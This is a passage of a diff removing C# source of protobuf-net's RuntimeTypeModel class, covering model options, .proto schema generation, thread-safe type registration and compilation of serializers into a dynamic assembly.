-#endif -#endif -using ProtoBuf.Serializers; -using System.Threading; -using System.IO; - - -namespace ProtoBuf.Meta -{ - /// - /// Provides protobuf serialization support for a number of types that can be defined at runtime - /// - public sealed class RuntimeTypeModel : TypeModel - { - private byte options; - - private const byte - OPTIONS_InferTagFromNameDefault = 1, - OPTIONS_IsDefaultModel = 2, - OPTIONS_Frozen = 4, - OPTIONS_AutoAddMissingTypes = 8, -#if FEAT_COMPILER && !FX11 - OPTIONS_AutoCompile = 16, -#endif - OPTIONS_UseImplicitZeroDefaults = 32, - OPTIONS_AllowParseableTypes = 64, - OPTIONS_AutoAddProtoContractTypesOnly = 128; - - private bool GetOption(byte option) - { - return (options & option) == option; - } - - private void SetOption(byte option, bool value) - { - if (value) options |= option; - else options &= (byte) ~option; - } - - /// - /// Global default that - /// enables/disables automatic tag generation based on the existing name / order - /// of the defined members. See - /// for usage and important warning / explanation. - /// You must set the global default before attempting to serialize/deserialize any - /// impacted type. - /// - public bool InferTagFromNameDefault - { - get { return GetOption(OPTIONS_InferTagFromNameDefault); } - set { SetOption(OPTIONS_InferTagFromNameDefault, value); } - } - - /// - /// Global default that determines whether types are considered serializable - /// if they have [DataContract] / [XmlType]. With this enabled, ONLY - /// types marked as [ProtoContract] are added automatically. - /// - public bool AutoAddProtoContractTypesOnly - { - get { return GetOption(OPTIONS_AutoAddProtoContractTypesOnly); } - set { SetOption(OPTIONS_AutoAddProtoContractTypesOnly, value); } - } - - /// - /// Global switch that enables or disables the implicit - /// handling of "zero defaults"; meanning: if no other default is specified, - /// it assumes bools always default to false, integers to zero, etc. - /// - /// If this is disabled, no such assumptions are made and only *explicit* - /// default values are processed. This is enabled by default to - /// preserve similar logic to v1. - /// - public bool UseImplicitZeroDefaults - { - get { return GetOption(OPTIONS_UseImplicitZeroDefaults); } - set - { - if (!value && GetOption(OPTIONS_IsDefaultModel)) - { - throw new InvalidOperationException( - "UseImplicitZeroDefaults cannot be disabled on the default model"); - } - SetOption(OPTIONS_UseImplicitZeroDefaults, value); - } - } - - /// - /// Global switch that determines whether types with a .ToString() and a Parse(string) - /// should be serialized as strings. - /// - public bool AllowParseableTypes - { - get { return GetOption(OPTIONS_AllowParseableTypes); } - set { SetOption(OPTIONS_AllowParseableTypes, value); } - } - - - private sealed class Singleton - { - private Singleton() - { - } - - internal static readonly RuntimeTypeModel Value = new RuntimeTypeModel(true); - } - - /// - /// The default model, used to support ProtoBuf.Serializer - /// - public static RuntimeTypeModel Default - { - get { return Singleton.Value; } - } - - /// - /// Returns a sequence of the Type instances that can be - /// processed by this model. - /// - public IEnumerable GetTypes() - { - return types; - } - - /// - /// Suggest a .proto definition for the given type - /// - /// The type to generate a .proto definition for, or null to generate a .proto that represents the entire model - /// The .proto definition as a string - public override string GetSchema(Type type) - { - BasicList requiredTypes = new BasicList(); - MetaType primaryType = null; - bool isInbuiltType = false; - if (type == null) - { - // generate for the entire model - foreach (MetaType meta in types) - { - MetaType tmp = meta.GetSurrogateOrBaseOrSelf(false); - if (!requiredTypes.Contains(tmp)) - { - // ^^^ note that the type might have been added as a descendent - requiredTypes.Add(tmp); - CascadeDependents(requiredTypes, tmp); - } - } - } - else - { - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - - WireType defaultWireType; - isInbuiltType = - (ValueMember.TryGetCoreSerializer(this, DataFormat.Default, type, out defaultWireType, false, false, - false, false) != null); - if (!isInbuiltType) - { - //Agenerate just relative to the supplied type - int index = FindOrAddAuto(type, false, false, false); - if (index < 0) throw new ArgumentException("The type specified is not a contract-type", "type"); - - // get the required types - primaryType = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - requiredTypes.Add(primaryType); - CascadeDependents(requiredTypes, primaryType); - } - } - - // use the provided type's namespace for the "package" - StringBuilder headerBuilder = new StringBuilder(); - string package = null; - - if (!isInbuiltType) - { - IEnumerable typesForNamespace = primaryType == null ? types : requiredTypes; - foreach (MetaType meta in typesForNamespace) - { - if (meta.IsList) continue; - string tmp = meta.Type.Namespace; - if (!Helpers.IsNullOrEmpty(tmp)) - { - if (tmp.StartsWith("System.")) continue; - if (package == null) - { - // haven't seen any suggestions yet - package = tmp; - } - else if (package == tmp) - { - // that's fine; a repeat of the one we already saw - } - else - { - // something else; have confliucting suggestions; abort - package = null; - break; - } - } - } - } - - if (!Helpers.IsNullOrEmpty(package)) - { - headerBuilder.Append("package ").Append(package).Append(';'); - Helpers.AppendLine(headerBuilder); - } - - bool requiresBclImport = false; - StringBuilder bodyBuilder = new StringBuilder(); - // sort them by schema-name - MetaType[] metaTypesArr = new MetaType[requiredTypes.Count]; - requiredTypes.CopyTo(metaTypesArr, 0); - Array.Sort(metaTypesArr, MetaType.Comparer.Default); - - // write the messages - if (isInbuiltType) - { - Helpers.AppendLine(bodyBuilder).Append("message ").Append(type.Name).Append(" {"); - MetaType.NewLine(bodyBuilder, 1) - .Append("optional ") - .Append(GetSchemaTypeName(type, DataFormat.Default, false, false, ref requiresBclImport)) - .Append(" value = 1;"); - Helpers.AppendLine(bodyBuilder).Append('}'); - } - else - { - for (int i = 0; i < metaTypesArr.Length; i++) - { - MetaType tmp = metaTypesArr[i]; - if (tmp.IsList && tmp != primaryType) continue; - tmp.WriteSchema(bodyBuilder, 0, ref requiresBclImport); - } - } - if (requiresBclImport) - { - headerBuilder.Append("import \"bcl.proto\"; // schema for protobuf-net's handling of core .NET types"); - Helpers.AppendLine(headerBuilder); - } - return Helpers.AppendLine(headerBuilder.Append(bodyBuilder)).ToString(); - } - - private void CascadeDependents(BasicList list, MetaType metaType) - { - MetaType tmp; - if (metaType.IsList) - { - Type itemType = TypeModel.GetListItemType(this, metaType.Type); - WireType defaultWireType; - IProtoSerializer coreSerializer = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, itemType, - out defaultWireType, false, false, false, false); - if (coreSerializer == null) - { - int index = FindOrAddAuto(itemType, false, false, false); - if (index >= 0) - { - tmp = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - if (!list.Contains(tmp)) - { - // could perhaps also implement as a queue, but this should work OK for sane models - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - } - else - { - if (metaType.IsAutoTuple) - { - MemberInfo[] mapping; - if (MetaType.ResolveTupleConstructor(metaType.Type, out mapping) != null) - { - for (int i = 0; i < mapping.Length; i++) - { - Type type = null; - if (mapping[i] is PropertyInfo) type = ((PropertyInfo) mapping[i]).PropertyType; - else if (mapping[i] is FieldInfo) type = ((FieldInfo) mapping[i]).FieldType; - - WireType defaultWireType; - IProtoSerializer coreSerializer = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, - type, out defaultWireType, false, false, false, false); - if (coreSerializer == null) - { - int index = FindOrAddAuto(type, false, false, false); - if (index >= 0) - { - tmp = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - if (!list.Contains(tmp)) - { - // could perhaps also implement as a queue, but this should work OK for sane models - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - } - } - } - else - { - foreach (ValueMember member in metaType.Fields) - { - Type type = member.ItemType; - if (type == null) type = member.MemberType; - WireType defaultWireType; - IProtoSerializer coreSerializer = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, - type, out defaultWireType, false, false, false, false); - if (coreSerializer == null) - { - // is an interesting type - int index = FindOrAddAuto(type, false, false, false); - if (index >= 0) - { - tmp = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - if (!list.Contains(tmp)) - { - // could perhaps also implement as a queue, but this should work OK for sane models - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - } - } - if (metaType.HasSubtypes) - { - foreach (SubType subType in metaType.GetSubtypes()) - { - tmp = subType.DerivedType.GetSurrogateOrSelf(); // note: exclude base-types! - if (!list.Contains(tmp)) - { - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - tmp = metaType.BaseType; - if (tmp != null) tmp = tmp.GetSurrogateOrSelf(); // note: already walking base-types; exclude base - if (tmp != null && !list.Contains(tmp)) - { - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - - - internal RuntimeTypeModel(bool isDefault) - { -#if FEAT_IKVM - universe = new IKVM.Reflection.Universe(); - universe.EnableMissingMemberResolution(); // needed to avoid TypedReference issue on WinRT -#endif - AutoAddMissingTypes = true; - UseImplicitZeroDefaults = true; - SetOption(OPTIONS_IsDefaultModel, isDefault); -#if FEAT_COMPILER && !FX11 && !DEBUG - AutoCompile = true; -#endif - } - -#if FEAT_IKVM - readonly IKVM.Reflection.Universe universe; - /// - /// Load an assembly into the model's universe - /// - public Assembly Load(string path) - { - return universe.LoadFile(path); - } - /// - /// Gets the IKVM Universe that relates to this model - /// - public Universe Universe { get { return universe; } } - - /// - /// Adds support for an additional type in this model, optionally - /// appplying inbuilt patterns. If the type is already known to the - /// model, the existing type is returned **without** applying - /// any additional behaviour. - /// - public MetaType Add(string assemblyQualifiedTypeName, bool applyDefaults) - { - Type type = universe.GetType(assemblyQualifiedTypeName, true); - return Add(type, applyDefaults); - } - /// - /// Adds support for an additional type in this model, optionally - /// appplying inbuilt patterns. If the type is already known to the - /// model, the existing type is returned **without** applying - /// any additional behaviour. - /// - public MetaType Add(System.Type type, bool applyDefaultBehaviour) - { - return Add(MapType(type), applyDefaultBehaviour); - } - /// - /// Obtains the MetaType associated with a given Type for the current model, - /// allowing additional configuration. - /// - public MetaType this[System.Type type] { get { return this[MapType(type)]; } } - -#endif - - /// - /// Obtains the MetaType associated with a given Type for the current model, - /// allowing additional configuration. - /// - public MetaType this[Type type] - { - get { return (MetaType) types[FindOrAddAuto(type, true, false, false)]; } - } - - internal MetaType FindWithoutAdd(Type type) - { - // this list is thread-safe for reading - foreach (MetaType metaType in types) - { - if (metaType.Type == type) - { - if (metaType.Pending) WaitOnLock(metaType); - return metaType; - } - } - // if that failed, check for a proxy - Type underlyingType = ResolveProxies(type); - return underlyingType == null ? null : FindWithoutAdd(underlyingType); - } - - private static readonly BasicList.MatchPredicate - MetaTypeFinder = new BasicList.MatchPredicate(MetaTypeFinderImpl), - BasicTypeFinder = new BasicList.MatchPredicate(BasicTypeFinderImpl); - - private static bool MetaTypeFinderImpl(object value, object ctx) - { - return ((MetaType) value).Type == (Type) ctx; - } - - private static bool BasicTypeFinderImpl(object value, object ctx) - { - return ((BasicType) value).Type == (Type) ctx; - } - - private void WaitOnLock(MetaType type) - { - int opaqueToken = 0; - try - { - TakeLock(ref opaqueToken); - } - finally - { - ReleaseLock(opaqueToken); - } - } - - private BasicList basicTypes = new BasicList(); - - private sealed class BasicType - { - private readonly Type type; - - public Type Type - { - get { return type; } - } - - private readonly IProtoSerializer serializer; - - public IProtoSerializer Serializer - { - get { return serializer; } - } - - public BasicType(Type type, IProtoSerializer serializer) - { - this.type = type; - this.serializer = serializer; - } - } - - internal IProtoSerializer TryGetBasicTypeSerializer(Type type) - { - int idx = basicTypes.IndexOf(BasicTypeFinder, type); - - if (idx >= 0) return ((BasicType) basicTypes[idx]).Serializer; - - lock (basicTypes) - { - // don't need a full model lock for this - - // double-checked - idx = basicTypes.IndexOf(BasicTypeFinder, type); - if (idx >= 0) return ((BasicType) basicTypes[idx]).Serializer; - - WireType defaultWireType; - MetaType.AttributeFamily family = MetaType.GetContractFamily(this, type, null); - IProtoSerializer ser = family == MetaType.AttributeFamily.None - ? ValueMember.TryGetCoreSerializer(this, DataFormat.Default, type, out defaultWireType, false, false, - false, false) - : null; - - if (ser != null) basicTypes.Add(new BasicType(type, ser)); - return ser; - } - } - - internal int FindOrAddAuto(Type type, bool demand, bool addWithContractOnly, bool addEvenIfAutoDisabled) - { - int key = types.IndexOf(MetaTypeFinder, type); - MetaType metaType; - - // the fast happy path: meta-types we've already seen - if (key >= 0) - { - metaType = (MetaType) types[key]; - if (metaType.Pending) - { - WaitOnLock(metaType); - } - return key; - } - - // the fast fail path: types that will never have a meta-type - bool shouldAdd = AutoAddMissingTypes || addEvenIfAutoDisabled; - - if (!Helpers.IsEnum(type) && TryGetBasicTypeSerializer(type) != null) - { - if (shouldAdd && !addWithContractOnly) throw MetaType.InbuiltType(type); - return -1; // this will never be a meta-type - } - - // otherwise: we don't yet know - - // check for proxy types - Type underlyingType = ResolveProxies(type); - if (underlyingType != null) - { - key = types.IndexOf(MetaTypeFinder, underlyingType); - type = underlyingType; // if new added, make it reflect the underlying type - } - - if (key < 0) - { - int opaqueToken = 0; - try - { - TakeLock(ref opaqueToken); - // try to recognise a few familiar patterns... - if ((metaType = RecogniseCommonTypes(type)) == null) - { - // otherwise, check if it is a contract - MetaType.AttributeFamily family = MetaType.GetContractFamily(this, type, null); - if (family == MetaType.AttributeFamily.AutoTuple) - { - shouldAdd = addEvenIfAutoDisabled = true; // always add basic tuples, such as KeyValuePair - } - - if (!shouldAdd || ( - !Helpers.IsEnum(type) && addWithContractOnly && family == MetaType.AttributeFamily.None) - ) - { - if (demand) ThrowUnexpectedType(type); - return key; - } - metaType = Create(type); - } - metaType.Pending = true; - bool weAdded = false; - - // double-checked - int winner = types.IndexOf(MetaTypeFinder, type); - if (winner < 0) - { - ThrowIfFrozen(); - key = types.Add(metaType); - weAdded = true; - } - else - { - key = winner; - } - if (weAdded) - { - metaType.ApplyDefaultBehaviour(); - metaType.Pending = false; - } - } - finally - { - ReleaseLock(opaqueToken); - } - } - return key; - } - - private MetaType RecogniseCommonTypes(Type type) - { -//#if !NO_GENERICS -// if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(System.Collections.Generic.KeyValuePair<,>)) -// { -// MetaType mt = new MetaType(this, type); - -// Type surrogate = typeof (KeyValuePairSurrogate<,>).MakeGenericType(type.GetGenericArguments()); - -// mt.SetSurrogate(surrogate); -// mt.IncludeSerializerMethod = false; -// mt.Freeze(); - -// MetaType surrogateMeta = (MetaType)types[FindOrAddAuto(surrogate, true, true, true)]; // this forcibly adds it if needed -// if(surrogateMeta.IncludeSerializerMethod) -// { // don't blindly set - it might be frozen -// surrogateMeta.IncludeSerializerMethod = false; -// } -// surrogateMeta.Freeze(); -// return mt; -// } -//#endif - return null; - } - - private MetaType Create(Type type) - { - ThrowIfFrozen(); - return new MetaType(this, type, defaultFactory); - } - - /// - /// Adds support for an additional type in this model, optionally - /// appplying inbuilt patterns. If the type is already known to the - /// model, the existing type is returned **without** applying - /// any additional behaviour. - /// - /// Inbuilt patterns include: - /// [ProtoContract]/[ProtoMember(n)] - /// [DataContract]/[DataMember(Order=n)] - /// [XmlType]/[XmlElement(Order=n)] - /// [On{Des|S}erializ{ing|ed}] - /// ShouldSerialize*/*Specified - /// - /// The type to be supported - /// Whether to apply the inbuilt configuration patterns (via attributes etc), or - /// just add the type with no additional configuration (the type must then be manually configured). - /// The MetaType representing this type, allowing - /// further configuration. - public MetaType Add(Type type, bool applyDefaultBehaviour) - { - if (type == null) throw new ArgumentNullException("type"); - MetaType newType = FindWithoutAdd(type); - if (newType != null) return newType; // return existing - int opaqueToken = 0; - -#if WINRT - System.Reflection.TypeInfo typeInfo = System.Reflection.IntrospectionExtensions.GetTypeInfo(type); - if (typeInfo.IsInterface && MetaType.ienumerable.IsAssignableFrom(typeInfo) -#else - if (type.IsInterface && MapType(MetaType.ienumerable).IsAssignableFrom(type) -#endif - && GetListItemType(this, type) == null) - { - throw new ArgumentException( - "IEnumerable[] data cannot be used as a meta-type unless an Add method can be resolved"); - } - try - { - newType = RecogniseCommonTypes(type); - if (newType != null) - { - if (!applyDefaultBehaviour) - { - throw new ArgumentException( - "Default behaviour must be observed for certain types with special handling; " + - type.FullName, - "applyDefaultBehaviour"); - } - // we should assume that type is fully configured, though; no need to re-run: - applyDefaultBehaviour = false; - } - if (newType == null) newType = Create(type); - newType.Pending = true; - TakeLock(ref opaqueToken); - // double checked - if (FindWithoutAdd(type) != null) throw new ArgumentException("Duplicate type", "type"); - ThrowIfFrozen(); - types.Add(newType); - if (applyDefaultBehaviour) - { - newType.ApplyDefaultBehaviour(); - } - newType.Pending = false; - } - finally - { - ReleaseLock(opaqueToken); - } - - return newType; - } - -#if FEAT_COMPILER && !FX11 - /// - /// Should serializers be compiled on demand? It may be useful - /// to disable this for debugging purposes. - /// - public bool AutoCompile - { - get { return GetOption(OPTIONS_AutoCompile); } - set { SetOption(OPTIONS_AutoCompile, value); } - } -#endif - - /// - /// Should support for unexpected types be added automatically? - /// If false, an exception is thrown when unexpected types - /// are encountered. - /// - public bool AutoAddMissingTypes - { - get { return GetOption(OPTIONS_AutoAddMissingTypes); } - set - { - if (!value && GetOption(OPTIONS_IsDefaultModel)) - { - throw new InvalidOperationException("The default model must allow missing types"); - } - ThrowIfFrozen(); - SetOption(OPTIONS_AutoAddMissingTypes, value); - } - } - - /// - /// Verifies that the model is still open to changes; if not, an exception is thrown - /// - private void ThrowIfFrozen() - { - if (GetOption(OPTIONS_Frozen)) - throw new InvalidOperationException("The model cannot be changed once frozen"); - } - - /// - /// Prevents further changes to this model - /// - public void Freeze() - { - if (GetOption(OPTIONS_IsDefaultModel)) - throw new InvalidOperationException("The default model cannot be frozen"); - SetOption(OPTIONS_Frozen, true); - } - - private readonly BasicList types = new BasicList(); - - /// - /// Provides the key that represents a given type in the current model. - /// - protected override int GetKeyImpl(Type type) - { - return GetKey(type, false, true); - } - - internal int GetKey(Type type, bool demand, bool getBaseKey) - { - Helpers.DebugAssert(type != null); - try - { - int typeIndex = FindOrAddAuto(type, demand, true, false); - if (typeIndex >= 0) - { - MetaType mt = (MetaType) types[typeIndex]; - if (getBaseKey) - { - mt = MetaType.GetRootType(mt); - typeIndex = FindOrAddAuto(mt.Type, true, true, false); - } - } - return typeIndex; - } - catch (NotSupportedException) - { - throw; // re-surface "as-is" - } - catch (Exception ex) - { - if (ex.Message.IndexOf(type.FullName) >= 0) throw; // already enough info - throw new ProtoException(ex.Message + " (" + type.FullName + ")", ex); - } - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - protected internal override void Serialize(int key, object value, ProtoWriter dest) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - //Helpers.DebugWriteLine("Serialize", value); - ((MetaType) types[key]).Serializer.Write(value, dest); -#endif - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - protected internal override object Deserialize(int key, object value, ProtoReader source) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - //Helpers.DebugWriteLine("Deserialize", value); - IProtoSerializer ser = ((MetaType) types[key]).Serializer; - if (value == null && Helpers.IsValueType(ser.ExpectedType)) - { - if (ser.RequiresOldValue) value = Activator.CreateInstance(ser.ExpectedType); - return ser.Read(value, source); - } - else - { - return ser.Read(value, source); - } -#endif - } - -#if FEAT_COMPILER - // this is used by some unit-tests; do not remove - internal Compiler.ProtoSerializer GetSerializer(IProtoSerializer serializer, bool compiled) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (serializer == null) throw new ArgumentNullException("serializer"); -#if FEAT_COMPILER && !FX11 - if (compiled) return Compiler.CompilerContext.BuildSerializer(serializer, this); -#endif - return new Compiler.ProtoSerializer(serializer.Write); -#endif - } - -#if !FX11 - /// - /// Compiles the serializers individually; this is *not* a full - /// standalone compile, but can significantly boost performance - /// while allowing additional types to be added. - /// - /// An in-place compile can access non-public types / members - public void CompileInPlace() - { - foreach (MetaType type in types) - { - type.CompileInPlace(); - } - } -#endif -#endif - //internal override IProtoSerializer GetTypeSerializer(Type type) - //{ // this list is thread-safe for reading - // .Serializer; - //} - //internal override IProtoSerializer GetTypeSerializer(int key) - //{ // this list is thread-safe for reading - // MetaType type = (MetaType)types.TryGet(key); - // if (type != null) return type.Serializer; - // throw new KeyNotFoundException(); - - //} - - -#if FEAT_COMPILER - private void BuildAllSerializers() - { - // note that types.Count may increase during this operation, as some serializers - // bring other types into play - for (int i = 0; i < types.Count; i++) - { - // the primary purpose of this is to force the creation of the Serializer - MetaType mt = (MetaType)types[i]; - if (mt.Serializer == null) - throw new InvalidOperationException("No serializer available for " + mt.Type.Name); - } - } -#if !SILVERLIGHT - internal sealed class SerializerPair : IComparable - { - int IComparable.CompareTo(object obj) - { - if (obj == null) throw new ArgumentException("obj"); - SerializerPair other = (SerializerPair)obj; - - // we want to bunch all the items with the same base-type together, but we need the items with a - // different base **first**. - if (this.BaseKey == this.MetaKey) - { - if (other.BaseKey == other.MetaKey) - { // neither is a subclass - return this.MetaKey.CompareTo(other.MetaKey); - } - else - { // "other" (only) is involved in inheritance; "other" should be first - return 1; - } - } - else - { - if (other.BaseKey == other.MetaKey) - { // "this" (only) is involved in inheritance; "this" should be first - return -1; - } - else - { // both are involved in inheritance - int result = this.BaseKey.CompareTo(other.BaseKey); - if (result == 0) result = this.MetaKey.CompareTo(other.MetaKey); - return result; - } - } - } - public readonly int MetaKey, BaseKey; - public readonly MetaType Type; - public readonly MethodBuilder Serialize, Deserialize; - public readonly ILGenerator SerializeBody, DeserializeBody; - public SerializerPair(int metaKey, int baseKey, MetaType type, MethodBuilder serialize, MethodBuilder deserialize, - ILGenerator serializeBody, ILGenerator deserializeBody) - { - this.MetaKey = metaKey; - this.BaseKey = baseKey; - this.Serialize = serialize; - this.Deserialize = deserialize; - this.SerializeBody = serializeBody; - this.DeserializeBody = deserializeBody; - this.Type = type; - } - } - - /// - /// Fully compiles the current model into a static-compiled model instance - /// - /// A full compilation is restricted to accessing public types / members - /// An instance of the newly created compiled type-model - public TypeModel Compile() - { - return Compile(null, null); - } - static ILGenerator Override(TypeBuilder type, string name) - { - MethodInfo baseMethod = type.BaseType.GetMethod(name, BindingFlags.NonPublic | BindingFlags.Instance); - - ParameterInfo[] parameters = baseMethod.GetParameters(); - Type[] paramTypes = new Type[parameters.Length]; - for(int i = 0 ; i < paramTypes.Length ; i++) { - paramTypes[i] = parameters[i].ParameterType; - } - MethodBuilder newMethod = type.DefineMethod(baseMethod.Name, - (baseMethod.Attributes & ~MethodAttributes.Abstract) | MethodAttributes.Final, baseMethod.CallingConvention, baseMethod.ReturnType, paramTypes); - ILGenerator il = newMethod.GetILGenerator(); - type.DefineMethodOverride(newMethod, baseMethod); - return il; - } - -#if FEAT_IKVM - /// - /// Inspect the model, and resolve all related types - /// - public void Cascade() - { - BuildAllSerializers(); - } - /// - /// Translate a System.Type into the universe's type representation - /// - protected internal override Type MapType(System.Type type, bool demand) - { - if (type == null) return null; -#if DEBUG - if (type.Assembly == typeof(IKVM.Reflection.Type).Assembly) - { - throw new InvalidOperationException(string.Format( - "Somebody is passing me IKVM types! {0} should be fully-qualified at the call-site", - type.Name)); - } -#endif - Type result = universe.GetType(type.AssemblyQualifiedName); - - if(result == null) - { - // things also tend to move around... *a lot* - especially in WinRT; search all as a fallback strategy - foreach (Assembly a in universe.GetAssemblies()) - { - result = a.GetType(type.FullName); - if (result != null) break; - } - if (result == null && demand) - { - throw new InvalidOperationException("Unable to map type: " + type.AssemblyQualifiedName); - } - } - return result; - } -#endif - /// - /// Represents configuration options for compiling a model to - /// a standalone assembly. - /// - public sealed class CompilerOptions - { - /// - /// Import framework options from an existing type - /// - public void SetFrameworkOptions(MetaType from) - { - if (from == null) throw new ArgumentNullException("from"); - AttributeMap[] attribs = AttributeMap.Create(from.Model, from.Type.Assembly); - foreach (AttributeMap attrib in attribs) - { - if (attrib.AttributeType.FullName == "System.Runtime.Versioning.TargetFrameworkAttribute") - { - object tmp; - if (attrib.TryGet("FrameworkName", out tmp)) TargetFrameworkName = (string)tmp; - if (attrib.TryGet("FrameworkDisplayName", out tmp)) TargetFrameworkDisplayName = (string)tmp; - break; - } - } - } - - private string targetFrameworkName, targetFrameworkDisplayName, typeName, outputPath, imageRuntimeVersion; - private int metaDataVersion; - /// - /// The TargetFrameworkAttribute FrameworkName value to burn into the generated assembly - /// - public string TargetFrameworkName { get { return targetFrameworkName; } set { targetFrameworkName = value; } } - - /// - /// The TargetFrameworkAttribute FrameworkDisplayName value to burn into the generated assembly - /// - public string TargetFrameworkDisplayName { get { return targetFrameworkDisplayName; } set { targetFrameworkDisplayName = value; } } - /// - /// The name of the TypeModel class to create - /// - public string TypeName { get { return typeName; } set { typeName = value; } } - /// - /// The path for the new dll - /// - public string OutputPath { get { return outputPath; } set { outputPath = value; } } - /// - /// The runtime version for the generated assembly - /// - public string ImageRuntimeVersion { get { return imageRuntimeVersion; } set { imageRuntimeVersion = value; } } - /// - /// The runtime version for the generated assembly - /// - public int MetaDataVersion { get { return metaDataVersion; } set { metaDataVersion = value; } } - - - private Accessibility accessibility = Accessibility.Public; - /// - /// The acecssibility of the generated serializer - /// - public Accessibility Accessibility { get { return accessibility; } set { accessibility = value; } } - -#if FEAT_IKVM - /// - /// The name of the container that holds the key pair. - /// - public string KeyContainer { get; set; } - /// - /// The path to a file that hold the key pair. - /// - public string KeyFile { get; set; } - - /// - /// The public key to sign the file with. - /// - public string PublicKey { get; set; } -#endif - } - /// - /// Type accessibility - /// - public enum Accessibility - { - /// - /// Available to all callers - /// - Public, - /// - /// Available to all callers in the same assembly, or assemblies specified via [InternalsVisibleTo(...)] - /// - Internal - } - /// - /// Fully compiles the current model into a static-compiled serialization dll - /// (the serialization dll still requires protobuf-net for support services). - /// - /// A full compilation is restricted to accessing public types / members - /// The name of the TypeModel class to create - /// The path for the new dll - /// An instance of the newly created compiled type-model - public TypeModel Compile(string name, string path) - { - CompilerOptions options = new CompilerOptions(); - options.TypeName = name; - options.OutputPath = path; - return Compile(options); - } - - /// - /// Fully compiles the current model into a static-compiled serialization dll - /// (the serialization dll still requires protobuf-net for support services). - /// - /// A full compilation is restricted to accessing public types / members - /// An instance of the newly created compiled type-model - public TypeModel Compile(CompilerOptions options) - { - if (options == null) throw new ArgumentNullException("options"); - string typeName = options.TypeName; - string path = options.OutputPath; - BuildAllSerializers(); - Freeze(); - bool save = !Helpers.IsNullOrEmpty(path); - if (Helpers.IsNullOrEmpty(typeName)) - { - if (save) throw new ArgumentNullException("typeName"); - typeName = Guid.NewGuid().ToString(); - } - - - string assemblyName, moduleName; - if(path == null) - { - assemblyName = typeName; - moduleName = assemblyName + ".dll"; - } - else - { - assemblyName = new System.IO.FileInfo(System.IO.Path.GetFileNameWithoutExtension(path)).Name; - moduleName = assemblyName + System.IO.Path.GetExtension(path); - } - -#if FEAT_IKVM - IKVM.Reflection.AssemblyName an = new IKVM.Reflection.AssemblyName(); - an.Name = assemblyName; - AssemblyBuilder asm = universe.DefineDynamicAssembly(an, AssemblyBuilderAccess.Save); - if (!Helpers.IsNullOrEmpty(options.KeyFile)) - { - asm.__SetAssemblyKeyPair(new StrongNameKeyPair(File.OpenRead(options.KeyFile))); - } - else if (!Helpers.IsNullOrEmpty(options.KeyContainer)) - { - asm.__SetAssemblyKeyPair(new StrongNameKeyPair(options.KeyContainer)); - } - else if (!Helpers.IsNullOrEmpty(options.PublicKey)) - { - asm.__SetAssemblyPublicKey(FromHex(options.PublicKey)); - } - if(!Helpers.IsNullOrEmpty(options.ImageRuntimeVersion) && options.MetaDataVersion != 0) - { - asm.__SetImageRuntimeVersion(options.ImageRuntimeVersion, options.MetaDataVersion); - } - ModuleBuilder module = asm.DefineDynamicModule(moduleName, path); -#else - AssemblyName an = new AssemblyName(); - an.Name = assemblyName; - AssemblyBuilder asm = AppDomain.CurrentDomain.DefineDynamicAssembly(an, - (save ? AssemblyBuilderAccess.RunAndSave : AssemblyBuilderAccess.Run) - ); - ModuleBuilder module = save ? asm.DefineDynamicModule(moduleName, path) - : asm.DefineDynamicModule(moduleName); -#endif - - WriteAssemblyAttributes(options, assemblyName, asm); - - TypeBuilder type = WriteBasicTypeModel(options, typeName, module); - - int index; - bool hasInheritance; - SerializerPair[] methodPairs; - Compiler.CompilerContext.ILVersion ilVersion; - WriteSerializers(options, assemblyName, type, out index, out hasInheritance, out methodPairs, out ilVersion); - - ILGenerator il; - int knownTypesCategory; - FieldBuilder knownTypes; - Type knownTypesLookupType; - WriteGetKeyImpl(type, hasInheritance, methodPairs, ilVersion, assemblyName, out il, out knownTypesCategory, out knownTypes, out knownTypesLookupType); - - Compiler.CompilerContext ctx = WriteSerializeDeserialize(assemblyName, type, methodPairs, ilVersion, ref il); - - WriteConstructors(type, ref index, methodPairs, ref il, knownTypesCategory, knownTypes, knownTypesLookupType, ctx); - - - - Type finalType = type.CreateType(); - if(!Helpers.IsNullOrEmpty(path)) - { - asm.Save(path); - Helpers.DebugWriteLine("Wrote dll:" + path); - } -#if FEAT_IKVM - return null; -#else - return (TypeModel)Activator.CreateInstance(finalType); -#endif - } -#if FEAT_IKVM - private byte[] FromHex(string value) - { - if (Helpers.IsNullOrEmpty(value)) throw new ArgumentNullException("value"); - int len = value.Length / 2; - byte[] result = new byte[len]; - for(int i = 0 ; i < len ; i++) - { - result[i] = Convert.ToByte(value.Substring(i * 2, 2), 16); - } - return result; - } -#endif - private void WriteConstructors(TypeBuilder type, ref int index, SerializerPair[] methodPairs, ref ILGenerator il, int knownTypesCategory, FieldBuilder knownTypes, Type knownTypesLookupType, Compiler.CompilerContext ctx) - { - type.DefineDefaultConstructor(MethodAttributes.Public); - il = type.DefineTypeInitializer().GetILGenerator(); - switch (knownTypesCategory) - { - case KnownTypes_Array: - { - Compiler.CompilerContext.LoadValue(il, types.Count); - il.Emit(OpCodes.Newarr, ctx.MapType(typeof(System.Type))); - index = 0; - foreach (SerializerPair pair in methodPairs) - { - il.Emit(OpCodes.Dup); - Compiler.CompilerContext.LoadValue(il, index); - 